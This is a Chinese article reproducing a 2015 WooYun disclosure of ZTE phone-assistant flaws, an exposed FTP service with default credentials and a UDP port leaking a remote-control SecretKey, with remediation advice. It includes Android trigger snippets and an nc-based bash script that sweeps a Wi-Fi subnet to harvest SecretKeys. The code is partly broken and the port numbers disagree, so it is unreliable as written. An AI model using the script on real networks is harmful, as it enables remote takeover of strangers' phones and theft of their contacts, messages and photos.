如果咖啡厅里有人冲你淫笑,那他可能正在偷窥你手机中的小秘密(公共场合被扒光的感脚)……公共Wi-Fi会泄露网络流量中的敏感信息这个已经人尽皆知。但大家可能还不清楚,在不可信的Wi-Fi中,黑客还有可能直接管理你的手机,获得所有通信录、短信、照片视频及应用信息。
除了公共Wi-Fi,在各种蹭网软件的大力配合下,在家睡觉手机都可能被人偷窥一遍,隔壁的女神显然不淡定了。
请看案例。
漏洞概要 缺陷编号: WooYun-2015-94537 漏洞标题: 中兴手机助手本地提权与WIFI远程管理的认证机制绕过(详细Android分析过程与思路) 相关厂商: 中兴通讯股份有限公司 漏洞作者: 小荷才露尖尖角 提交时间: 2015-01-29 11:34 公开时间: 2015-04-29 11:36 漏洞类型: 非授权访问/认证绕过 危害等级: 高 自评Rank: 20 漏洞状态: 厂商已经确认
包括两个漏洞: 第一个漏洞:本地组件暴露导致提权,只要用户安装中兴手机助手,无需任何权限的本地恶意应用就可在用户不知情的情况下启动供远程访问的FTP服务,且该FTP服务具有默认的用户名和密码。
暴露的两个安卓组件分别为 com.joinme.ftp.FtpServerService和JoinMeServiceReceiver。通过如下代码, code 区域m_testbutton1=(Button)findViewById(R.id.BySvc);
{
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
startService(i);
}
});
或者
code 区域m_testbutton2=(Button)findViewById(R.id.ByReceiver);
{
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
Intent i = new Intent();
sendBroadcast(i);
}
});
之一即可启动手机助手内置的FTP服务。
在分析第一个漏洞的时候,发现了第二个漏洞,与这个漏洞相比,上一个漏洞简直不算啥。
漏洞位于 JoinMeUdpService,该服务打开udp的65532端口监听,接收特定的命令字后可返回手机的敏感信息,包括SecretKey
如图,JoinMeUdpService的doListen方法
漏洞证明: 第一个漏洞的证明:
注意上面的SecretKey,就是中兴手机助手PC端管理手机的验证码。当手机助手在后台运行的情况下,可在PC端通过验证码完全管理手机,获得所有通信录、短信、照片及应用信息,并具有手机助手所有的添加、删改权限!!
比较有杀伤力的场景是在公共WIFI场所,在用户手机助手运行的情况下,通过以下脚本可以扫描获得SecretKey,并利用PC端进行远控!
scan.sh code 区域#!/bin/bash
network="192.168.1"
for address in $(seq 1 254)
do
echo ${network}.${address}
echo -n "JoinMe Broadcast" | nc -w 2 -u ${network}.${address} 65502
done
扫描结果
PC端远控相应手机
修复方案: 针对漏洞一: 设置com.joinme.ftp.FtpServerService、 JoinMeServiceReceiver为exported:false,或者设置自定义权限,并将保护级别设为signature。FTP服务的用户名和密码,不要硬编码在代码中,可以设置在配置文件中读取。或者由用户在PC端手机助手临时指定。
针对漏洞二:禁用远程回显SecretKey
|